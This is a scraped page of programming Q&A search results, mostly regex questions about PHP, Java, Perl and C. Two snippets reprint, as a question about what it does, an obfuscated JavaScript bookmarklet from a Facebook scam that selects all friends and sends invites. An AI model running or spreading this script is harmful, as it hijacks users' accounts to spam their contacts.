Search Results

Search found 6743 results on 270 pages for 'regular joe'.

Page 23/270 | < Previous Page | 19 20 21 22 23 24 25 26 27 28 29 30  | Next Page >

  • In linux, is it possible to do partial reads on a regular file

    - by Jimm
    I need to write an application that spits out log entries to a regular file at a very fast rate. Also, there will be another process, that can read the same file concurrently at the time, other process would be writing to it. I have following questions How does read() determine EOF, specially in the case, where the underlying file could be concurrently being modified? Is it possible for read() to return partially written data from the other process write? For example, the write process wrote half a line and read would pick that half line and return? The application would be written in C on linux 2.6.x using Ex4 filesystem UPDATE: Below link points to the patch, that locks inode in EXT4, before reading and writing. http://patchwork.ozlabs.org/patch/91834/

    Read the article

  • Perform regular expression on a PERL PDL variable

    - by Ahdee
    is it possible to perform a regular expression on a n-dimension PDL variable? For example I can add 100 to all the element by doing $a1 = pdl [1,2]; print $a1+100; However what if my array was a bunch of string that I would like to perform some task on, for example this fails. $a = pdl ['suze','david']; $a =~ s/suze/female/; print $a; not sure if this is even possible but thanks in advance. Ahdee

    Read the article

  • match word '90%' using regular expression

    - by amadhu
    Hi All, I want word '90%' to be matched with my String "I have 90% shares of this company". how can I write regular expression for same? I tried something like this: Pattern p = Pattern.compile("\\b90\\%\\b", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE); Matcher m = p.matcher("I have 90% shares of this company"); while (m.find()){ System.out.println(m.group()); } but no luck. Can any one thow some lights on this? Many thanks, Archi

    Read the article

  • Regex to extract this semi formatted data

    - by Codygman
    Alright, I can't quite figure out how to do this. Given the following text: Roland AX-1: /start Roland's AX-1 strap-on remote MIDI controller has a very impressive 45-note velocity sensitive keyboard, and has switchable velocity curves, goes octave up/down, transpose, split/layering zones, and has fun tempo control for sequencers and more. Roland's AX-1 comes with a built-in GS control for total MIDI control of GM/GS synths. Its "Expression Bar" can control pitch and mod via an almost ribbon-like controller. It's also the newest and most advanced remote controller for your synths or midi modules. /end Roland AX-7: /start Roland's AX-7 builds on the infamous Roland AX-1 design. You just strap it on and put it to the front of the stage. Offering several controllers, such as: a D-Beam, then you can open the door to amazing live performance. 7-segment LED display, larger patch memory (Around 128 patches with MIDI data backup), and comes with GM2/GS compatibility make it extra easy to use. The 45-note, velocity-sensitive keyboard. 5 realtime controllers including a data entry knob, touch controller knob, opression bar, a hold button, and D-Beam. 128 patches with MIDI data backup. 2 MIDI zones. /end I'm trying to use the following: /^([\w\d \-]*):\s\s\s\s^\/start([^\:]*)\/end$/im You can see on rubular here: http://rubular.com/r/BVRRHsnWdp Thanks for any help. I guess i'm trying to match blocks of text until I hit the next title which always ends with a :$

    Read the article

  • finding a string of random characters (with possible errors) within a large string of random charact

    - by mike
    I am trying to search a large string w/o spaces for a smaller string of characters. using regex I can easily find perfect matches but I can't figure out how to find partial matches. by partial matches i mean one or two extra characters in the string or one or two characters that have been changed, or one of each. the first and last characters will always match though. this would be similar to a spell checker but there are no spaces and the strings dont contain actual words, just random hex digits. i figured a way to find the string if there are no extra characters using indexOf(string.charAt(0)) and indexOf(charAt(string.length()-1) and looping through the characters between the two indexes. but this can be problematic when dealing with randomized characters because of the possibility of finding the first and last characters at the correct spacing but none of the middle characters matching. i've been scratching my head for hours on this issue. any ideas?

    Read the article

  • Using regex to fix phone numbers in a CSV with PHP

    - by Hurpe
    My new phone does not recognize a phone number unless it's area code matches the incoming call. Since I live in Idaho where an area code is not needed for in-state calls, many of my contacts were saved without an area code. Since I have thousands of contacts stored in my phone, it would not be practical to manually update them. I decided to write the following PHP script to handle the problem. It seems to work well, except that I'm finding duplicate area codes at the beginning of random contacts. <?php //the script can take a while to complete set_time_limit(200); function validate_area_code($number) { //digits are taken one by one out of $number, and insert in to $numString $numString = ""; for ($i = 0; $i < strlen($number); $i++) { $curr = substr($number,$i,1); //only copy from $number to $numString when the character is numeric if (is_numeric($curr)) { $numString = $numString . $curr; } } //add area code "208" to the beginning of any phone number of length 7 if (strlen($numString) == 7) { return "208" . $numString; //remove country code (none of the contacts are outside the U.S.) } else if (strlen($numString) == 11) { return preg_replace("/^1/","",$numString); } else { return $numString; } } //matches any phone number in the csv $pattern = "/((1? ?\(?[2-9]\d\d\)? *)? ?\d\d\d-?\d\d\d\d)/"; $csv = file_get_contents("contacts2.CSV"); preg_match_all($pattern,$csv,$matches); foreach ($matches[0] as $key1 => $value) { /*create a pattern that matches the specific phone number by adding slashes before possible special characters*/ $pattern = preg_replace("/\(|\)|\-/","\\\\$0",$value); //create the replacement phone number $replacement = validate_area_code($value); //add delimeters $pattern = "/" . $pattern . "/"; $csv = preg_replace($pattern,$replacement,$csv); } echo $csv; ?> Is there a better approach to modifying the csv? Also, is there a way to minimize the number of passes over the csv? In the script above, preg_replace is called thousands of times on a very large String.

    Read the article

  • Regex & BBCode - Perfecting Nested Quote

    - by Moe
    Hey there, I'm working on some BBcode for my website. I've managed to get most of the codes working perfectly, however the [QUOTE] tag is giving me some grief. When I get something like this: [QUOTE=1] [QUOTE=2] This is a quote from someone else [/QUOTE] This is someone else quoting someone else [/QUOTE] It will return: > 1 said: [QUOTE=2]This is a quote from > someone else This is someone else quoting someone else[/QUOTE] So what is happening is the [/quote] from the nested quote is closing the quote block. The Regex I am using is: "[quote=(.*?)\](.*?)\[/quote\]'is" How can I make it so nested Quotes will appear properly? Thank you.

    Read the article

  • Regex to check that a character in range doesn't repeat

    - by Aly
    Hi, I want to match against Strings such as AhKs & AdKs (i.e. two cards Ah = Ace of Hearts). I want to match two off-suit cards with a regex, what I currently have is "^[AKQJT2-9][hscd]{2}$", but this could match hands such as AhKh (suited) and AhAh. Is there a way to possibly use backreferences to say the second [hscd] cannot be the same as the firs (similarly for [AKQJT2-9])

    Read the article

  • Extracting Text from between parentheses in PHP using preg_replace

    - by Christopher
    I am trying to take a string of text like so: $string = "This (1) is (2) my (3) example (4) text"; In every instance where there is a positive integer inside of parentheses, I'd like to replace that with simply the integer itself. The code I'm using now is: $result = preg_replace("((\d+))", "$0", $string); But I keep getting a "Delimiter must not be alphanumeric or backslash" error. Any thoughts? I know there are other questions on here that sort of answer the question, but my knowledge of regex is not enough to switch it over to this example.

    Read the article

  • PHP: using REGEX to get the tablename from a mysql query

    - by Matt
    Hi Guys, Consider these three mysql statements: select * from Users; select id, title, value from Blogs; select id, feelURL, feelTitle from Feeds where id = 1; Now im not very good at REGEX, but i want to get the table name from the mysql query. Could someone possibly create one for me with a little explanation. Thanks,

    Read the article

  • What exactly dose this piece of JavaScript do ?

    - by helpmarnie
    ok, so I saw this page growing in popularity amoung my social circles on facebook, what 98 percent bla bla... and it walks users through copying the bellow JavaScript (i added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript. simply put, What dose this do? javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } ))} )();

    Read the article

  • Match Regex across newlines?

    - by Jörg Battermann
    I have a regex ( "(&lt;lof&lt;).*?(&gt;&gt;)" ) that works and matches perfectly on single line input. However, if the input contains newlines between the two () parts it does not match at all. What's the best way to ignore any newlines at all in that case?

    Read the article

  • auto indent in vim string replacement new line?

    - by rxin
    I'm using the following command to auto replace some code (adding a new code segment after an existing segment) %s/my_pattern/\0, \r some_other_text_i_want_to_insert/ The problem is that with the \r, some_other_text_i_want_to_insert gets inserted right after the new line: mycode( some_random_text my_pattern ) would become mycode( some_random_text my_pattern some_other_text_i_want_to_insert <--- this line is NOT indented ) instead of mycode( some_random_text my_pattern some_other_text_i_want_to_insert <--- this line is now indented ) i.e. the new inserted line is not indented. Is there any option in vim or trick that I can make the newly inserted line indented? Thanks.

    Read the article

  • Unable to validate e-mail format

    - by Aishwarya Shiva Pareek
    I am using this code which was suggested by my friend to validate an email id format in C#. public bool IsValidEmail(string strIn) { string strPattern = "^([0-9a-zA-Z]([-.\\w]*[0-9a-zA-Z])*@([0-9a-zA-Z][-\\w]*[0-9a-zA-Z]\\.)+[a-zA-Z]{2,9})$"; if (System.Text.RegularExpressions.Regex.IsMatch(strIn, strPattern)) { return true; } return false; } When I pass the value of the strIn as [email protected] This function returns false. Please tell me whats wrong with it?

    Read the article

  • Need help with this Regex + UrlRewriter.NET please :)

    - by Pure.Krome
    Previously, on StackOverflow ... (Summarized) I need to capture all requests, for a particluar subdomain .. and rewrite their destination. Now, the trick to determining the host via regex was solved. Now, i need to make sure all requests to the root index page is rewritten, but i can't figure out the correct regex to find the 'homepage' / website root. this is what i have.... <if header="HTTP_HOST" match="^foo\.mydomain\.com\.au(?::\d+)?/?$"> <!-- snip some other rewrites, eg./buying/product -> ~/Pages/Foo/Bar.aspx --> <rewrite url="^/$" to="~/Pages/SomeWeirdFolder/Home.aspx" processing="stop"/> </if> Now if one of the rewrites were not found, then it falls through and continues. So .. can anyone please help?

    Read the article

  • Getting specific values with regex [JAVA, ANDROID]

    - by David
    I need to knowingly isolate each row of the vcard and get its value. For instance, I want to get "5555" from X-CUSTOMFIELD. So far, my thoughts are: "X-CUSTOMFIELD;\d+" I have been looking at some tutorials and I am a little confused with what function to use? What would my regex above return? Would it give me the whole line or just the numerical part (5555)? I was thinking I i get the whole row, I can use substring to get the digits? BEGIN:VCARD VERSION:2.1 N:Last;First; FN:First Last TEL;HOME;VOICE:111111 TEL;MOBILE;VOICE:222222 X-CUSTOMFIELD;5555 END:VCARD

    Read the article

  • Can somone help fix up my simple regex query, please?

    - by Pure.Krome
    Hi folks, yep - another noob regex query, which I can't seem to get. I'm trying to get all matches for the string foo.mydomain.com/ or foo.mydomain.com:1234/ or foo.mydomain.com:<random port>/ but any other paths do not match, ie. foo.mydomain.com/bar or foo.mydomain.com/bar/pewpew I tried to use: foo.mydomain.com(.*)/$ ( starts with anything, then foo.mydomain.com, then any thing after that .. until a slash. then end. (this search query is anchored to the end of the line). but that doesn't work. It doesn't match when i pass in foo.mydomain.com:1234 but it correct says foo.mydomain.com/bar/pewpew is not a match (as expected). any ideas?

    Read the article

  • Getting specific values with regex

    - by David
    I need to knowingly isolate each row of the vCard and get its value. For instance, I want to get "5555" from X-CUSTOMFIELD. So far, my thoughts are: "X-CUSTOMFIELD;\d+" I have been looking at some tutorials and I am a little confused with what function to use? What would my regex above return? Would it give me the whole line or just the numerical part (5555)? I was thinking I i get the whole row, I can use substring to get the digits? BEGIN:VCARD VERSION:2.1 N:Last;First; FN:First Last TEL;HOME;VOICE:111111 TEL;MOBILE;VOICE:222222 X-CUSTOMFIELD;5555 END:VCARD

    Read the article

  • What exactly does this piece of JavaScript do?

    - by helpmarnie
    I saw this page growing in popularity among my social circles on Facebook, what 98 percent bla bla... and it walks users through copying the below JavaScript (I added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript. Simply put, what does this do? javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } ))})();

    Read the article

  • Find everthing that is not between specific tags

    - by murze
    Hi, i'm using preg_match_all('/<?(.*)?>/', $bigString, $matches, PREG_OFFSET_CAPTURE); to find the contents of everthing between '' Now I'd like to find everthing that is NOT between '' I'm trying with preg_match_all('/^(<?(.*)?>)/', $bigString, $nonmatches, PREG_OFFSET_CAPTURE); but that doesn't seem to work... How can i find everthing that is not between '' ?

    Read the article

  • How do I test against a large number of regular expressions quickly and know which one matched?

    - by Jack
    I'm writing a program in .net where the user may provide a large number of regular expressions. For a given string, I need to figure out which regular expression matches that string (if more than one matches, I just need the first one that matches). However, if there are a large number of regular expressions this operation can take a very long time. I was somewhat hoping there would be something similar to flex for .net that would allow me to specify a large number of regular expressions yet quickly (O(n) according to Wikipedia for n = len(input string)) figure out which regular expression matches. Also, I would prefer not to implement my own regular expression engine :).

    Read the article

  • negative look ahead to exclude html tags

    - by Remoh
    I'm trying to come up with a validation expression to prevent users from entering html or javascript tags into a comment box on a web page. The following works fine for a single line of text: ^(?!.(<|)).$ ..but it won't allow any newline characters because of the dot(.). If I go with something like this: ^(?!.(<|))(.|\s)$ it will allow multiple lines but the expression only matches '<' and '' on the first line. I need it to match any line. This works fine: ^[-_\s\d\w"'.,:;#/&\$\%\?!@+*\()]{0,4000}$ but it's ugly and I'm concerned that it's going to break for some users because it's a multi-lingual application. Any ideas? Thanks!

    Read the article

  • RegEx - Time Validation ((h)h:mm)

    - by Josh
    /^\d{1,2}[:][0-5][0-9]$/ is what I have. this limits minutes to 00-59. It does not, however, limit hours to between 0 and 12. For similarity and uniformity I would like to do this with RegEx alone if possible. Further-more I would like the first digit to be optional. i.e. 09:30 accepted as well as 9:30. I played around with ranges, but something out of range is always acceptable.

    Read the article

  • TTStyledTextLabel offset between link and regular text when changing from default font

    - by Guy Ephraim
    I'm using Three20 TTStyledTextLabel and when I change the default font (Helvetica) to something else it creates some kind of height difference between links and regular text The following code demonstrate my problem: #import <Three20/Three20.h> @interface TestController : UIViewController { } @end @implementation TestController -(id)init{ self = [super init]; TTStyledTextLabel* label = [[[TTStyledTextLabel alloc] initWithFrame:CGRectMake(0, 0, 320, 230)] autorelease]; label.text = [TTStyledText textFromXHTML:@"<a href=\"aa://link1\">link</a> text" lineBreaks:YES URLs:YES]; [label setFont:[UIFont systemFontOfSize:16]]; [[self view] addSubview:label]; TTStyledTextLabel* label2 = [[[TTStyledTextLabel alloc] initWithFrame:CGRectMake(0, 230, 320, 230)] autorelease]; label2.text = [TTStyledText textFromXHTML:@"<a href=\"aa://link1\">link2</a> text2" lineBreaks:YES URLs:YES]; [label2 setFont:[UIFont fontWithName:@"HelveticaNeue" size:16]]; [[self view] addSubview:label2]; return self; } @end In the screen shot you can see that the first link is aligned and the second one isn't How do I fix it? I think there is a bug in the TTStyledTextLabel code...

    Read the article

  • Getting text between quotes using regular expression

    - by Camsoft
    I'm having some issues with a regular expression I'm creating. I need a regex to match against the following examples and then sub match on the first quoted string: Input strings ("Lorem ipsum dolor sit amet, consectetur adipiscing elit.") ('Lorem ipsum dolor sit amet, consectetur adipiscing elit. ') ('Lorem ipsum dolor sit amet, consectetur adipiscing elit. ', 'arg1', "arg2") Must sub match Lorem ipsum dolor sit amet, consectetur adipiscing elit. Regex so far: \((["'])([^"']+)\1,?.*\) The regex does a sub match on the text between the first set of quotes and returns the sub match displayed above. This is almost working perfectly, but the problem I have is that if the quoted string contains quotes in the text the sub match stops at the first instance, see below: Failing input strings ("Lorem ipsum dolor \"sit\" amet, consectetur adipiscing elit.") Only sub matches: Lorem ipsum dolor ("Lorem ipsum dolor 'sit' amet, consectetur adipiscing elit.") The entire match fails. Notes The input strings are actually php code function calls. I'm writing a script that will scan .php source files for a specific function and grab the text from the first parameter.

    Read the article

< Previous Page | 19 20 21 22 23 24 25 26 27 28 29 30  | Next Page >